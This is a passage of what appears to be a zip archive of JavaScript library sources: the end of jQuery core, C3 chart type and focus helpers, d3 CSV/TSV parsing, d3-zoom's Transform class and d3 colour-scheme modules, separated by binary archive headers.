		var ret = results || [];

		if ( arr != null ) {
			if ( isArrayLike( Object( arr ) ) ) {
				jQuery.merge( ret,
					typeof arr === "string" ?
					[ arr ] : arr
				);
			} else {
				push.call( ret, arr );
			}
		}

		return ret;
	},

	inArray: function( elem, arr, i ) {
		return arr == null ? -1 : indexOf.call( arr, elem, i );
	},

	// Support: Android <=4.0 only, PhantomJS 1 only
	// push.apply(_, arraylike) throws on ancient WebKit
	merge: function( first, second ) {
		var len = +second.length,
			j = 0,
			i = first.length;

		for ( ; j < len; j++ ) {
			first[ i++ ] = second[ j ];
		}

		first.length = i;

		return first;
	},

	grep: function( elems, callback, invert ) {
		var callbackInverse,
			matches = [],
			i = 0,
			length = elems.length,
			callbackExpect = !invert;

		// Go through the array, only saving the items
		// that pass the validator function
		for ( ; i < length; i++ ) {
			callbackInverse = !callback( elems[ i ], i );
			if ( callbackInverse !== callbackExpect ) {
				matches.push( elems[ i ] );
			}
		}

		return matches;
	},

	// arg is for internal usage only
	map: function( elems, callback, arg ) {
		var length, value,
			i = 0,
			ret = [];

		// Go through the array, translating each of the items to their new values
		if ( isArrayLike( elems ) ) {
			length = elems.length;
			for ( ; i < length; i++ ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}

		// Go through every key on the object,
		} else {
			for ( i in elems ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}
		}

		// Flatten any nested arrays
		return concat.apply( [], ret );
	},

	// A global GUID counter for objects
	guid: 1,

	// jQuery.support is not used in Core but other projects attach their
	// properties to it so it needs to exist.
	support: support
} );

if ( typeof Symbol === "function" ) {
	jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
}

// Populate the class2type map
jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
function( i, name ) {
	class2type[ "[object " + name + "]" ] = name.toLowerCase();
} );

function isArrayLike( obj ) {

	// Support: real iOS 8.2 only (not reproducible in simulator)
	// `in` check used to prevent JIT error (gh-2145)
	// hasOwn isn't used here due to false negatives
	// regarding Nodelist length in IE
	var length = !!obj && "length" in obj && obj.length,
		type = toType( obj );

	if ( isFunction( obj ) || isWindow( obj ) ) {
		return false;
	}

	return type === "array" || length === 0 ||
		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}

return jQuery;
} );
PKK|�\�cP�type.jsnu�[���import { ChartInternal } from './core';
import { isString } from './util';

ChartInternal.prototype.setTargetType = function (targetIds, type) {
    var $$ = this, config = $$.config;
    $$.mapToTargetIds(targetIds).forEach(function (id) {
        $$.withoutFadeIn[id] = (type === config.data_types[id]);
        config.data_types[id] = type;
    });
    if (!targetIds) {
        config.data_type = type;
    }
};
ChartInternal.prototype.hasType = function (type, targets) {
    var $$ = this, types = $$.config.data_types, has = false;
    targets = targets || $$.data.targets;
    if (targets && targets.length) {
        targets.forEach(function (target) {
            var t = types[target.id];
            if ((t && t.indexOf(type) >= 0) || (!t && type === 'line')) {
                has = true;
            }
        });
    } else if (Object.keys(types).length) {
        Object.keys(types).forEach(function (id) {
            if (types[id] === type) { has = true; }
        });
    } else {
        has = $$.config.data_type === type;
    }
    return has;
};
ChartInternal.prototype.hasArcType = function (targets) {
    return this.hasType('pie', targets) || this.hasType('donut', targets) || this.hasType('gauge', targets);
};
ChartInternal.prototype.isLineType = function (d) {
    var config = this.config, id = isString(d) ? d : d.id;
    return !config.data_types[id] || ['line', 'spline', 'area', 'area-spline', 'step', 'area-step'].indexOf(config.data_types[id]) >= 0;
};
ChartInternal.prototype.isStepType = function (d) {
    var id = isString(d) ? d : d.id;
    return ['step', 'area-step'].indexOf(this.config.data_types[id]) >= 0;
};
ChartInternal.prototype.isSplineType = function (d) {
    var id = isString(d) ? d : d.id;
    return ['spline', 'area-spline'].indexOf(this.config.data_types[id]) >= 0;
};
ChartInternal.prototype.isAreaType = function (d) {
    var id = isString(d) ? d : d.id;
    return ['area', 'area-spline', 'area-step'].indexOf(this.config.data_types[id]) >= 0;
};
ChartInternal.prototype.isBarType = function (d) {
    var id = isString(d) ? d : d.id;
    return this.config.data_types[id] === 'bar';
};
ChartInternal.prototype.isScatterType = function (d) {
    var id = isString(d) ? d : d.id;
    return this.config.data_types[id] === 'scatter';
};
ChartInternal.prototype.isPieType = function (d) {
    var id = isString(d) ? d : d.id;
    return this.config.data_types[id] === 'pie';
};
ChartInternal.prototype.isGaugeType = function (d) {
    var id = isString(d) ? d : d.id;
    return this.config.data_types[id] === 'gauge';
};
ChartInternal.prototype.isDonutType = function (d) {
    var id = isString(d) ? d : d.id;
    return this.config.data_types[id] === 'donut';
};
ChartInternal.prototype.isArcType = function (d) {
    return this.isPieType(d) || this.isDonutType(d) || this.isGaugeType(d);
};
ChartInternal.prototype.lineData = function (d) {
    return this.isLineType(d) ? [d] : [];
};
ChartInternal.prototype.arcData = function (d) {
    return this.isArcType(d.data) ? [d] : [];
};
/* not used
 function scatterData(d) {
 return isScatterType(d) ? d.values : [];
 }
 */
ChartInternal.prototype.barData = function (d) {
    return this.isBarType(d) ? d.values : [];
};
ChartInternal.prototype.lineOrScatterData = function (d) {
    return this.isLineType(d) || this.isScatterType(d) ? d.values : [];
};
ChartInternal.prototype.barOrLineData = function (d) {
    return this.isBarType(d) || this.isLineType(d) ? d.values : [];
};
PKK|�\��#HHapi.focus.jsnu�[���import CLASS from './class';
import { Chart } from './core';

Chart.prototype.focus = function (targetIds) {
    var $$ = this.internal, candidates;

    targetIds = $$.mapToTargetIds(targetIds);
    candidates = $$.svg.selectAll($$.selectorTargets(targetIds.filter($$.isTargetToShow, $$))),

    this.revert();
    this.defocus();
    candidates.classed(CLASS.focused, true).classed(CLASS.defocused, false);
    if ($$.hasArcType()) {
        $$.expandArc(targetIds);
    }
    $$.toggleFocusLegend(targetIds, true);

    $$.focusedTargetIds = targetIds;
    $$.defocusedTargetIds = $$.defocusedTargetIds.filter(function (id) {
        return targetIds.indexOf(id) < 0;
    });
};

Chart.prototype.defocus = function (targetIds) {
    var $$ = this.internal, candidates;

    targetIds = $$.mapToTargetIds(targetIds);
    candidates = $$.svg.selectAll($$.selectorTargets(targetIds.filter($$.isTargetToShow, $$))),

    candidates.classed(CLASS.focused, false).classed(CLASS.defocused, true);
    if ($$.hasArcType()) {
        $$.unexpandArc(targetIds);
    }
    $$.toggleFocusLegend(targetIds, false);

    $$.focusedTargetIds = $$.focusedTargetIds.filter(function (id) {
        return targetIds.indexOf(id) < 0;
    });
    $$.defocusedTargetIds = targetIds;
};

Chart.prototype.revert = function (targetIds) {
    var $$ = this.internal, candidates;

    targetIds = $$.mapToTargetIds(targetIds);
    candidates = $$.svg.selectAll($$.selectorTargets(targetIds)); // should be for all targets

    candidates.classed(CLASS.focused, false).classed(CLASS.defocused, false);
    if ($$.hasArcType()) {
        $$.unexpandArc(targetIds);
    }
    if ($$.config.legend_show) {
        $$.showLegend(targetIds.filter($$.isLegendToShow.bind($$)));
        $$.legend.selectAll($$.selectorLegends(targetIds))
            .filter(function () {
                return $$.d3.select(this).classed(CLASS.legendItemFocused);
            })
            .classed(CLASS.legendItemFocused, false);
    }

    $$.focusedTargetIds = [];
    $$.defocusedTargetIds = [];
};
PK�|�\�5���csv.jsnu�[���import dsv from "./dsv";

var csv = dsv(",");

export var csvParse = csv.parse;
export var csvParseRows = csv.parseRows;
export var csvFormat = csv.format;
export var csvFormatRows = csv.formatRows;
PK�|�\�fd??dsv.jsnu�[���var EOL = {},
    EOF = {},
    QUOTE = 34,
    NEWLINE = 10,
    RETURN = 13;

function objectConverter(columns) {
  return new Function("d", "return {" + columns.map(function(name, i) {
    return JSON.stringify(name) + ": d[" + i + "]";
  }).join(",") + "}");
}

function customConverter(columns, f) {
  var object = objectConverter(columns);
  return function(row, i) {
    return f(object(row), i, columns);
  };
}

// Compute unique columns in order of discovery.
function inferColumns(rows) {
  var columnSet = Object.create(null),
      columns = [];

  rows.forEach(function(row) {
    for (var column in row) {
      if (!(column in columnSet)) {
        columns.push(columnSet[column] = column);
      }
    }
  });

  return columns;
}

export default function(delimiter) {
  var reFormat = new RegExp("[\"" + delimiter + "\n\r]"),
      DELIMITER = delimiter.charCodeAt(0);

  function parse(text, f) {
    var convert, columns, rows = parseRows(text, function(row, i) {
      if (convert) return convert(row, i - 1);
      columns = row, convert = f ? customConverter(row, f) : objectConverter(row);
    });
    rows.columns = columns || [];
    return rows;
  }

  function parseRows(text, f) {
    var rows = [], // output rows
        N = text.length,
        I = 0, // current character index
        n = 0, // current line number
        t, // current token
        eof = N <= 0, // current token followed by EOF?
        eol = false; // current token followed by EOL?

    // Strip the trailing newline.
    if (text.charCodeAt(N - 1) === NEWLINE) --N;
    if (text.charCodeAt(N - 1) === RETURN) --N;

    function token() {
      if (eof) return EOF;
      if (eol) return eol = false, EOL;

      // Unescape quotes.
      var i, j = I, c;
      if (text.charCodeAt(j) === QUOTE) {
        while (I++ < N && text.charCodeAt(I) !== QUOTE || text.charCodeAt(++I) === QUOTE);
        if ((i = I) >= N) eof = true;
        else if ((c = text.charCodeAt(I++)) === NEWLINE) eol = true;
        else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; }
        return text.slice(j + 1, i - 1).replace(/""/g, "\"");
      }

      // Find next delimiter or newline.
      while (I < N) {
        if ((c = text.charCodeAt(i = I++)) === NEWLINE) eol = true;
        else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; }
        else if (c !== DELIMITER) continue;
        return text.slice(j, i);
      }

      // Return last token before EOF.
      return eof = true, text.slice(j, N);
    }

    while ((t = token()) !== EOF) {
      var row = [];
      while (t !== EOL && t !== EOF) row.push(t), t = token();
      if (f && (row = f(row, n++)) == null) continue;
      rows.push(row);
    }

    return rows;
  }

  function format(rows, columns) {
    if (columns == null) columns = inferColumns(rows);
    return [columns.map(formatValue).join(delimiter)].concat(rows.map(function(row) {
      return columns.map(function(column) {
        return formatValue(row[column]);
      }).join(delimiter);
    })).join("\n");
  }

  function formatRows(rows) {
    return rows.map(formatRow).join("\n");
  }

  function formatRow(row) {
    return row.map(formatValue).join(delimiter);
  }

  function formatValue(text) {
    return text == null ? ""
        : reFormat.test(text += "") ? "\"" + text.replace(/"/g, "\"\"") + "\""
        : text;
  }

  return {
    parse: parse,
    parseRows: parseRows,
    format: format,
    formatRows: formatRows
  };
}
PK�|�\��m9��tsv.jsnu�[���import dsv from "./dsv";

var tsv = dsv("\t");

export var tsvParse = tsv.parse;
export var tsvParseRows = tsv.parseRows;
export var tsvFormat = tsv.format;
export var tsvFormatRows = tsv.formatRows;
PK}�\򌹙jjtransform.jsnu�[���export function Transform(k, x, y) {
  this.k = k;
  this.x = x;
  this.y = y;
}

Transform.prototype = {
  constructor: Transform,
  scale: function(k) {
    return k === 1 ? this : new Transform(this.k * k, this.x, this.y);
  },
  translate: function(x, y) {
    return x === 0 & y === 0 ? this : new Transform(this.k, this.x + this.k * x, this.y + this.k * y);
  },
  apply: function(point) {
    return [point[0] * this.k + this.x, point[1] * this.k + this.y];
  },
  applyX: function(x) {
    return x * this.k + this.x;
  },
  applyY: function(y) {
    return y * this.k + this.y;
  },
  invert: function(location) {
    return [(location[0] - this.x) / this.k, (location[1] - this.y) / this.k];
  },
  invertX: function(x) {
    return (x - this.x) / this.k;
  },
  invertY: function(y) {
    return (y - this.y) / this.k;
  },
  rescaleX: function(x) {
    return x.copy().domain(x.range().map(this.invertX, this).map(x.invert, x));
  },
  rescaleY: function(y) {
    return y.copy().domain(y.range().map(this.invertY, this).map(y.invert, y));
  },
  toString: function() {
    return "translate(" + this.x + "," + this.y + ") scale(" + this.k + ")";
  }
};

export var identity = new Transform(1, 0, 0);

transform.prototype = Transform.prototype;

export default function transform(node) {
  return node.__zoom || identity;
}
PK.}�\�U��sequential-multi/YlGn.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "f7fcb9addd8e31a354",
  "ffffccc2e69978c679238443",
  "ffffccc2e69978c67931a354006837",
  "ffffccd9f0a3addd8e78c67931a354006837",
  "ffffccd9f0a3addd8e78c67941ab5d238443005a32",
  "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32",
  "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529"
).map(colors);

export default ramp(scheme);
PK.}�\�����sequential-multi/YlOrBr.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fff7bcfec44fd95f0e",
  "ffffd4fed98efe9929cc4c02",
  "ffffd4fed98efe9929d95f0e993404",
  "ffffd4fee391fec44ffe9929d95f0e993404",
  "ffffd4fee391fec44ffe9929ec7014cc4c028c2d04",
  "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04",
  "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506"
).map(colors);

export default ramp(scheme);
PK.}�\
w��sequential-multi/PuBuGn.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "ece2f0a6bddb1c9099",
  "f6eff7bdc9e167a9cf02818a",
  "f6eff7bdc9e167a9cf1c9099016c59",
  "f6eff7d0d1e6a6bddb67a9cf1c9099016c59",
  "f6eff7d0d1e6a6bddb67a9cf3690c002818a016450",
  "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450",
  "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636"
).map(colors);

export default ramp(scheme);
PK.}�\򵗋��sequential-multi/YlOrRd.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "ffeda0feb24cf03b20",
  "ffffb2fecc5cfd8d3ce31a1c",
  "ffffb2fecc5cfd8d3cf03b20bd0026",
  "ffffb2fed976feb24cfd8d3cf03b20bd0026",
  "ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026",
  "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026",
  "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026"
).map(colors);

export default ramp(scheme);
PK.}�\(��XXsequential-multi/viridis.jsnu�[���import colors from "../colors";

function ramp(range) {
  var n = range.length;
  return function(t) {
    return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))];
  };
}

export default ramp(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725"));

export var magma = ramp(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf"));

export var inferno = ramp(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4"));

export var plasma = ramp(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921"));
PK.}�\ñ�*��sequential-multi/BuGn.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e5f5f999d8c92ca25f",
  "edf8fbb2e2e266c2a4238b45",
  "edf8fbb2e2e266c2a42ca25f006d2c",
  "edf8fbccece699d8c966c2a42ca25f006d2c",
  "edf8fbccece699d8c966c2a441ae76238b45005824",
  "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824",
  "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b"
).map(colors);

export default ramp(scheme);
PK.}�\�JJsequential-multi/sinebow.jsnu�[���import {rgb} from "d3-color";

var c = rgb(),
    pi_1_3 = Math.PI / 3,
    pi_2_3 = Math.PI * 2 / 3;

export default function(t) {
  var x;
  t = (0.5 - t) * Math.PI;
  c.r = 255 * (x = Math.sin(t)) * x;
  c.g = 255 * (x = Math.sin(t + pi_1_3)) * x;
  c.b = 255 * (x = Math.sin(t + pi_2_3)) * x;
  return c + "";
}
PK.}�\b�"(��sequential-multi/RdPu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fde0ddfa9fb5c51b8a",
  "feebe2fbb4b9f768a1ae017e",
  "feebe2fbb4b9f768a1c51b8a7a0177",
  "feebe2fcc5c0fa9fb5f768a1c51b8a7a0177",
  "feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177",
  "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177",
  "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a"
).map(colors);

export default ramp(scheme);
PK.}�\�p���sequential-multi/OrRd.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fee8c8fdbb84e34a33",
  "fef0d9fdcc8afc8d59d7301f",
  "fef0d9fdcc8afc8d59e34a33b30000",
  "fef0d9fdd49efdbb84fc8d59e34a33b30000",
  "fef0d9fdd49efdbb84fc8d59ef6548d7301f990000",
  "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000",
  "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000"
).map(colors);

export default ramp(scheme);
PK.}�\gnZ~��sequential-multi/YlGnBu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "edf8b17fcdbb2c7fb8",
  "ffffcca1dab441b6c4225ea8",
  "ffffcca1dab441b6c42c7fb8253494",
  "ffffccc7e9b47fcdbb41b6c42c7fb8253494",
  "ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84",
  "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84",
  "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58"
).map(colors);

export default ramp(scheme);
PK.}�\uJR��sequential-multi/cubehelix.jsnu�[���import {cubehelix} from "d3-color";
import {interpolateCubehelixLong} from "d3-interpolate";

export default interpolateCubehelixLong(cubehelix(300, 0.5, 0.0), cubehelix(-240, 0.5, 1.0));
PK.}�\*���sequential-multi/GnBu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e0f3dba8ddb543a2ca",
  "f0f9e8bae4bc7bccc42b8cbe",
  "f0f9e8bae4bc7bccc443a2ca0868ac",
  "f0f9e8ccebc5a8ddb57bccc443a2ca0868ac",
  "f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e",
  "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e",
  "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081"
).map(colors);

export default ramp(scheme);
PK.}�\mO�sequential-multi/rainbow.jsnu�[���import {cubehelix} from "d3-color";
import {interpolateCubehelixLong} from "d3-interpolate";

export var warm = interpolateCubehelixLong(cubehelix(-100, 0.75, 0.35), cubehelix(80, 1.50, 0.8));

export var cool = interpolateCubehelixLong(cubehelix(260, 0.75, 0.35), cubehelix(80, 1.50, 0.8));

var c = cubehelix();

export default function(t) {
  if (t < 0 || t > 1) t -= Math.floor(t);
  var ts = Math.abs(t - 0.5);
  c.h = 360 * t - 100;
  c.s = 1.5 - 1.5 * ts;
  c.l = 0.8 - 0.9 * ts;
  return c + "";
}
PK.}�\�m���sequential-multi/PuBu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "ece7f2a6bddb2b8cbe",
  "f1eef6bdc9e174a9cf0570b0",
  "f1eef6bdc9e174a9cf2b8cbe045a8d",
  "f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d",
  "f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b",
  "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b",
  "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858"
).map(colors);

export default ramp(scheme);
PK.}�\I�����sequential-multi/PuRd.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e7e1efc994c7dd1c77",
  "f1eef6d7b5d8df65b0ce1256",
  "f1eef6d7b5d8df65b0dd1c77980043",
  "f1eef6d4b9dac994c7df65b0dd1c77980043",
  "f1eef6d4b9dac994c7df65b0e7298ace125691003f",
  "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f",
  "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f"
).map(colors);

export default ramp(scheme);
PK.}�\5j���sequential-multi/BuPu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e0ecf49ebcda8856a7",
  "edf8fbb3cde38c96c688419d",
  "edf8fbb3cde38c96c68856a7810f7c",
  "edf8fbbfd3e69ebcda8c96c68856a7810f7c",
  "edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b",
  "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b",
  "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b"
).map(colors);

export default ramp(scheme);
PK.}�\�RKԗ�ramp.jsnu�[���import {interpolateRgbBasis} from "d3-interpolate";

export default function(scheme) {
  return interpolateRgbBasis(scheme[scheme.length - 1]);
}
PK.}�\�!ާ��categorical/Paired.jsnu�[���import colors from "../colors";

export default colors("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928");
PK.}�\����categorical/Set3.jsnu�[���import colors from "../colors";

export default colors("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f");
PK.}�\(��uuucategorical/Pastel1.jsnu�[���import colors from "../colors";

export default colors("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2");
PK.}�\���oocategorical/Dark2.jsnu�[���import colors from "../colors";

export default colors("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666");
PK.}�\(��
{{categorical/category10.jsnu�[���import colors from "../colors";

export default colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf");
PK.}�\؀�eoocategorical/Pastel2.jsnu�[���import colors from "../colors";

export default colors("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc");
PK.}�\����uucategorical/Set1.jsnu�[���import colors from "../colors";

export default colors("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999");
PK.}�\� � oocategorical/Set2.jsnu�[���import colors from "../colors";

export default colors("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3");
PK.}�\9y�oocategorical/Accent.jsnu�[���import colors from "../colors";

export default colors("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666");
PK.}�\]l�	scheme.jsnu�[���export default function(ranges) {
